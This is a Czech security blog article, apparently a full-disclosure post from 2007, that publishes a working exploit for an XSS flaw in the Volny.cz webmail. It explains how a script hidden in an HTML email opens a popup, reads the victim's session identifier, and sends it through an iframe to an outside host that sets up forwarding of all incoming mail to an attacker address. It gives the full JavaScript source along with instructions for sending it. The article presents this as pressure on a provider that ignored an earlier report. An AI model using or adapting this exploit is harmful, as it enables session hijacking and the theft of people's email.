Zpět na seznam článků     Číst komentáře (16)     Verze pro tisk

Volny.cz - exploit

Autor: .cCuMiNn.   
11.10.2007

Exploit na šest měsíců známou XSS zranitelnost ve webmailu Volny.cz.


nologo Po zveřejnění reportu z bezpečnostního testu, který jsem provedl na webu Volny.cz, jsem byl v komentářích upozorněn na XSS zranitelnost ve webovém rozhraní e-mailových účtů. Tato chyba byla zveřejněna 13.4.2007 a týkala se freemailů na Centrum.cz, Tiscali.cz a Volny.cz. Administrátoři zmíněných serverů byli na zranitelnost upozorněni a až na jednoho své systémy proti XSS zabezpečili. Původní článek pojednávající o této zranitelnosti je v současné době k dispozici již pouze v Google cache.

Proč Volny.cz oznámenou zranitelnost neopravil? Zřejmě proto, že jejich webmasteři nejsou o případných následcích dostatečně informováni a v existenci XSS nespatřují žádná rizika. Vyjádření Volného je k dispozici u zprávičky, která vyšla na Lupě.

Celé vyjádření mi přijde natolik směšné, že jej zde musím odcitovat:
"Popsaný způsob útoku proti webmailu Volný je zcela neúčinný. Autorem získané cookies neobsahují žádné (ani zašifrované) údaje, cookies neslouží jako autologin či něco podobného. Jedná se o náhodný řetězec, který slouží při vyhodnocování statistik (vyhodnocování reklamních kampaní atp). Popsaný způsob útoku je znám několik let a proto je náš systém vůči němu imunní. Autor získal cookies, které neobsahují žádné informace, které by se daly zneužít k jakémukoliv útoku proti našemu webmailu."

Milí webmasteři Volny.cz uvědomte si, že krádež cookies není zdaleka jediným cílem, ke kterému lze XSS zranitelnosti využít. Útočník může přes XSS plně ovládnout webový browser oběti a dělat si na doméně, která XSS obsahuje, naprosto cokoliv a to vše pod identitou své oběti. Na webu existuje spousta dokumentů, které se tomuto tématu věnují a proto Vám doporučuji do nich alespoň nahlédnout.

Abyste si mohli udělat představu o zdrcujících účincích XSS, vytvořil jsem exploit, který výše uvedenou XSS zranitelnost v mailových účtech na Volny.cz využívá k tomu, aby přesměroval veškerou příchozí poštu oběti na útočníkovu adresu. Pokud má oběť povoleny vyskakovací okna, provede se celý útok pouhým zobrazením zprávy ve formátu HTML a od oběti není vyžadována žádná spoluúčast. Uživatelé mají to štěstí, že se o jejich bezpečí nestarají pouze webmasteři serveru Volny.cz, ale myslí na jejich bezpečí i tvůrci webových prohlížečů, kteří vyskakovací okna implicitně zakazují. V případě, kdy jsou vyskakovací okna blokována, přichází na řadu odkaz zaslaný v těle e-mailu, na který musí útočníkova oběť kliknout, aby se útok provedl. To však není s trochou důvtipu pro útočníka většinou žádným problémem.

Jak exploit funguje

Útočník zašle své oběti email, který ve svém těle obsahuje javascriptový kód, který po zobrazení e-mailu automaticky vykoná tyto kroky:

  • Skript z názvu okna zjistí, zda je spuštěn v popup okně, nebo na stránce, která obsahuje zobrazený e-mail.
  • Byl-li spuštěn v těle e-mailu, vytvoří skript popup okno, kterému do location nakopíruje location aktuální webové stránky, čímž vytvoří její přesnou kopii.
  • Skript ukončí svou činnost.
  • V zobrazeném popup okně se spustí nová instance scriptu, která tentokrát z názvu okna zjistí, že je spuštěna v popup okně a vydá se jinou cestou.
  • Skript změní url stránky, která toto okno otevřela. Posune jej v hystorii o jednu stránku zpět, tj. do e-mailové schránky, která obsahuje v url identifikátor session a toto url si přečte.
  • Skript vygeneruje iframe jehož obsahem je stránka, o kterou žádá včetně parametrů, v nichž přenáší e-mailovou adresu, na kterou má být provedeno přesměrování a v dalším parametru pak zjištěný identifikátor session.
  • Vše ostatní už je jen čistý CSRF útok

Zdrojový kód exploitu

Uvedený kód stačí pouze nakopírovat do těla e-mailové zprávy ve formátu html a upravit v něm adresu, na kterou má být příchozí pošta přesměrována. Po odeslání oběti již vše ostatní exploit zařídí sám.

  1. <script>
  2.   function atack() {
  3.     url=self.opener.document.location.toString().substring(0,60);
  4.     tagIfram="<iframe id='ramec' src='http://www.soom.cz/projects/volny/index.php?url="+url+"&email=utocnik@domena.cz' width='1' height='1'></iframe>";
  5.     document.write(tagIfram);
  6.     document.write(".");
  7.   }
  8.  
  9.   if (window.name=="hack") {
  10.     self.opener.history.back(1);
  11.     setTimeout("atack()",2000);
  12.   }
  13.   else {
  14.     document.write("<a href='"+document.location+"' target='hack'>Klikni sem!</a>");
  15.     window.open(document.location, "hack");
  16.   }
  17. </script>

Závěr

Administrátory Volného jsem tentokrát již neupozorňoval. Na tuto chybu byly upozorněni již před šesti měsíci a jak je vidět, nemají upozornění jim zasílaná žádný vliv na zvýšení bezpečnosti poskytovaných služeb. Místo toho raději upozorním uživatele, kteří se rozhodují nad freemailovým poskytovatelem, u kterého by si zřídili svůj účet. Volny.cz je pro vás tou správnou volbou, pokud chcete přijít o své soukromí. Bezpečí na Volny.cz totiž opravdu nehledejte. Narazíte pouze na množství dávno zveřejněných chyb, které jsou jeho provozovatelům očividně ukradené…


12.10.2007
Admini Volného se tentokrát vytáhli a opravili chybu během několika hodin. Oprava se však týká pouze záměny písmen ve slově history, což dle mého rozhodně nestačí k tomu, aby se XSS v mailu nedalo i nadále zneužívat.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.85/20

1  2  3  4  5    
(známkování jako ve škole)